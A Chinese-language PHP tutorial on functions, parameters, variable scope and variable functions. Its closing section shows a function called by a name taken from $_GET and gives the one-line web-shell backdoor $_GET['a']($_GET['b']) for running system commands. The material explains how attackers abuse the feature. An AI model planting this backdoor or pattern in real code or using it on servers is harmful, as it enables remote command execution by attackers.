函数
基本结构
语法结构
function 函数名(形式参数1,形式参数2...){
//函数体
return 返回值
}
定义并执行一个简单函数
// funtion.php
function test(){
echo "This is function ".__FUNCTION__;
}
test();
函数传参
// function.php
function add($x, $y){
$sum = $x + $y;
return $sum;
}
echo add(10, 3);
函数调用
函数的调用,函数名加上小括号
调用过程
function a(){
echo "This is func ".__FUNCTION__."<br />";
}
function b(){
echo __FUNCTION__." is starting...<br />";
a();
echo __FUNCTION__." is stopped!<br />";
}
b();
注意
- 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
- 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
- 函数执行完毕,返回调用的位置继续向下执行。
变量
范围
- 局部变量
- 全局变量
- 超全局变量
函数内部无法直接获取函数外部的变量
函数外部无法直接获取函数内部的变量
局部变量
在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。
// function.php
function get_name(){
$username = "GJL";
echo "My name is {$username}";
}
get_name();
echo $username; // Notice: Undefined variable: username
全局变量
全局变量是在脚本中,函数或类的外部定义的变量。
// function.php
$username = "GJL";
function get_name(){
echo "My name is {$username}";
}
get_name(); // Notice: Undefined variable: username
注意
-
PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。
-
解决方式
-
函数传参
$username = "GJL"; function get_name($username){ echo "My name is {$username}"; } get_name($username);
-
global 声明全局变量
// function.php $username = "GJL"; function get_name(){ global $username; echo "My name is {$username}"; } get_name();
-
参数传递
按值传参
默认传参方式。
function add($x, $y){
$sum = $x + $y;
return $sum;
}
echo add(10, 3);
对形参的操作,不会改变实参的值。
默认参数
可以给形式参数设置默认值,直接赋值即可
给函数默认值的时候,全都给
function add($x = 0, $y = 0){
$sum = $x + $y;
return $sum;
}
// echo add(); // 0
// echo add(10, 3); // 13
echo add(10); // 10
可变函数
概述
可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()
。这是PHP 特性之一,这种特性通常会被攻击者所利用。
直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
<?php
function a(){
echo "This is function a";
}
function b(){
echo "This is function b";
}
$func_name = "a";
$func_name(); // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a
?>
危险操作
<?php
function a(){
echo "This is function a";
}
function b(){
echo "This is function b";
}
// a();
// b();
$func_name = ($_GET['func_name']);
$func_name(); // a();
// b();
// phpinfo();
?>
直接访问显示错误,此时的 func_name 为空
传参,赋予其参数
修改 GET 中传入的参数
将参数名改为 phpinfo
则调用 phponfo()
函数显示 phpinfo
简单的后门
-
php 中
system()
函数可以直接执行系统命令如
system("ipconfig");
-
在 php 中写入最简单的后门函数
<?php $_GET['a']($_GET['b']); ?>
访问此 php 页面
修改传参,成功执行命令